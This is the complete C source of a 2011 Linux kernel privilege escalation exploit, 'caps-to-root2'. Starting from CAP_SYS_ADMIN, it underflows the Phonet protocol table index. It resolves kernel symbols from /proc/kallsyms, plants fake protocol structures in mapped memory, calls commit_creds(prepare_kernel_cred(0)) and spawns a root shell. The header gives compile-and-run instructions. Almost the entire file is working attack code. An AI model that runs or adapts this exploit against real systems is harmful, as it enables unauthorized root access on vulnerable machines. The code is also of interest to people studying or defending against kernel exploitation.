/*
 * Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
 * by Joe Sylve
 * @jtsylve on twitter
 *
 * Released: Jan 7, 2011
 *
 * Based on the bug found by Dan Rosenberg (@djrbliss)
 * only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
 *
 * Usage:
 * gcc -w caps-to-root2.c -o caps-to-root2
 * sudo setcap cap_sys_admin+ep caps-to-root2
 * ./caps-to-root2
 *
 * Kernel Version >= 2.6.34 (untested on earlier versions)
 *
 * Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
 *
 * This exploit takes advantage of the same underflow as the original,
 * but takes a different approach.  Instead of underflowing into userspace
 * (which doesn't work on 64-bit systems and is a lot of work), I underflow
 * to some static values inside of the kernel which are referenced as pointers
 * to userspace.  This method is pretty simple and seems to be reliable.
 */
#include <stdio.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
// Skeleton Structures of the Kernel Structures we're going to spoof
struct proto_ops_skel {
	int	family;
	void  *buffer1[8];
	int	(*ioctl)(void *, int, long);
	void  *buffer2[12];
};
struct phonet_protocol_skel {
	void	*ops;
	void	*prot;
	int	sock_type;
};
#ifdef __x86_64__
#define SYM_NAME "local_port_range"
#define SYM_ADDRESS 0x0000007f00000040
#define SYM_OFFSET 0x0
typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
#else //32-bit
#define SYM_NAME "pn_proto"
#define SYM_ADDRESS 0x4e4f4850
#define SYM_OFFSET 0x90
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
#endif
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int getroot(void * v, int i, long l)
{
	commit_creds(prepare_kernel_cred(0));
	return 0;
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	int ret;
	char command[512];
	sprintf(command, "grep \"%s\" /proc/kallsyms", name);
	f = popen(command, "r");
	while(ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
			pclose(f);
			return addr;
		}
	}
	pclose(f);
	return 0;
}
int main(int argc, char * argv[])
{
	int sock, proto;
	unsigned long proto_tab, low_kern_sym, pn_proto;
	void * map;
	/* Create a socket to load the module for symbol support */
	printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
	sock = socket(PF_PHONET, SOCK_DGRAM, 0);
	if(sock < 0) {
		if(errno == EPERM)
			printf("[*] You don't have CAP_SYS_ADMIN.\n");
		else
			printf("[*] Failed to open Phonet socket.\n");
		return -1;
	}
	close(sock);
	/* Resolve kernel symbols */
	printf("[*] Resolving kernel symbols...\n");
	proto_tab = get_kernel_sym("proto_tab");
	low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;
	pn_proto =  get_kernel_sym("pn_proto");
	commit_creds = (void *) get_kernel_sym("commit_creds");
	prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");
	if(!proto_tab || !commit_creds || !prepare_kernel_cred) {
		printf("[*] Failed to resolve kernel symbols.\n");
		return -1;
	}
	if (low_kern_sym >= proto_tab) {
		printf("[*] %s is mapped higher than prototab.  Can not underflow :-(.\n", SYM_NAME);
		return -1;
	}
	/* Map it */
	printf("[*] Preparing fake structures...\n");
	const struct proto_ops_skel fake_proto_ops2 = {
			.family		= AF_PHONET,
			.ioctl		= &getroot,
	};
	struct phonet_protocol_skel pps = {
			.ops = (void *) &fake_proto_ops2,
			.prot = (void *) pn_proto,
			.sock_type = SOCK_DGRAM,
	};
	printf("[*] Copying Structures.\n");
	map = mmap((void *) SYM_ADDRESS, 0x1000,
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(map == MAP_FAILED) {
		printf("[*] Failed to map landing area.\n");
		perror("mmap");
		return -1;
	}
	memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));
	// Calculate Underflow
	proto = -((proto_tab - low_kern_sym) / sizeof(void *));
	printf("[*] Underflowing with offset %d\n", proto);
	sock = socket(PF_PHONET, SOCK_DGRAM, proto);
	if(sock < 0) {
		printf("[*] Underflow failed :-(.\n");
		return -1;
	}
	printf("[*] Elevating privlidges...\n");
	ioctl(sock, 0, NULL);
	if(getuid()) {
		printf("[*] Exploit failed to get root.\n");
		return -1;
	}
	printf("[*] This was a triumph... I'm making a note here, huge success.\n");
	execl("/bin/sh", "/bin/sh", NULL);
	close(sock);
	munmap(map, 0x1000);
	return 0;
}